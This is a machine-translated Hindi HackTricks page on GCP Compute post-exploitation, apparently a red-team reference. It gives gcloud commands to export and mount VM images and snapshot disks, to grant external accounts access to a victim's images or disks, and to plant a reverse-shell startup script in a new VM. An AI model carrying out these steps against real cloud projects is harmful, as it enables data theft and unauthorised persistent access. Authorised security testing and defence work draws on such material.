GCP - Compute Post Exploitation

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

कंप्यूट

कंप्यूट और VPC (नेटवर्किंग) के बारे में अधिक जानकारी के लिए देखें:

pageGCP - Compute Enum

छवियों को स्थानीय रूप से निर्यात और जांचें

यह एक हमलावर को पहुँचने की अनुमति देगा जो पहले से मौजूद छवियों में विशिष्ट डेटा तक पहुँच सकता है या चल रहे VMs की नई छवियाँ बना सकता है और उनके डेटा तक पहुँच सकता है बिना चल रहे VM का उपयोग करने के लिए पहुँच।

एक VM छवि को एक बाल्टी में निर्यात करना संभव है और फिर इसे डाउनलोड करके निम्नलिखित कमांड के साथ स्थानीय रूप से माउंट करना:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

इस कार्रवाई को करने के लिए हमें स्टोरेज बकेट पर विशेषाधिकार और निश्चित रूप से क्लाउडबिल्ड पर विशेषाधिकार की आवश्यकता हो सकती है क्योंकि यह सेवा है जिसे निर्यात करने के लिए कहा जाएगा। इसके अतिरिक्त, इसे काम करने के लिए कोडबिल्ड एसए और कंप्यूट एसए को विशेषाधिकार अनुमतियां चाहिए। क्लाउडबिल्ड एसए <प्रोजेक्ट-आईडी>@cloudbuild.gserviceaccount.com को चाहिए:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

और एसए <प्रोजेक्ट-आईडी>-compute@developer.gserviceaccount.com को चाहिए:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

स्नैपशॉट और डिस्क को स्थानीय रूप से निर्यात और जांच करें

स्नैपशॉट और डिस्क को सीधे निर्यात करना संभव नहीं है, लेकिन स्नैपशॉट को एक डिस्क में परिवर्तित करना, एक डिस्क को एक इमेज में संभव है और पिछले खंड का पालन करते हुए, उस इमेज को स्थानीय रूप से जांचने के लिए निर्यात करें।

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

एक छवि की जांच करें जो एक वीएम बनाने के लिए है

एक छवि में संग्रहित डेटा या चल रही वीएम में से जहां हमलावर ने एक छवि बनाई है, उस छवि पर एक बाह्य खाता को पहुंच देना संभव है:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

और फिर इससे एक नया वीएम बनाएं:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

यदि आप अपने बाह्य खाते को छवि पर पहुंच नहीं दे सकते थे, तो आप पीड़ित के परियोजना में उस छवि का उपयोग करके एक वीएम लॉन्च कर सकते थे और मेटाडेटा को एक रिवर्स शैल निष्पादित करने के लिए छवि तक पहुंचने के लिए पैरामीटर जोड़ें:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

स्नैपशॉट/डिस्क की जांच करें जो एक वीएम से जुड़ा हो

एक डिस्क या स्नैपशॉट में संग्रहित डेटा तक पहुंचने की उद्देश्य से, आप स्नैपशॉट को एक डिस्क में बदल सकते हैं, एक डिस्क को एक इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।

या आप डिस्क पर एक बाहरी खाता एक्सेस दे सकते हैं (यदि प्रारंभिक बिंदु एक स्नैपशॉट है तो स्नैपशॉट पर एक्सेस दें या उससे एक डिस्क बनाएं):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

इंस्टेंस को डिस्क संलग्न करें:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

वीएम के अंदर डिस्क माउंट करें:

  1. वीएम में एसएसएच करें:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. डिस्क की पहचान करें: वीएम के अंदर जाने के बाद, नए डिस्क की पहचान करें डिस्क उपकरणों की सूची देखकर। सामान्यत: आप इसे /dev/sdb, /dev/sdc, आदि के रूप में पा सकते हैं।

  2. डिस्क को फॉर्मेट और माउंट करें (अगर यह एक नया या रॉ डिस्क है):

  • माउंट पॉइंट बनाएं:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • डिस्क को माउंट करें:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

अगर आप स्नैपशॉट या डिस्क को एक्सटर्नल प्रोजेक्ट को एक्सेस नहीं दे सकते हैं, तो आपको संभावत: स्नैपशॉट/डिस्क के समान प्रोजेक्ट में एक इंस्टेंस के अंदर इन क्रियाओं को करने की आवश्यकता हो सकती है।

Last updated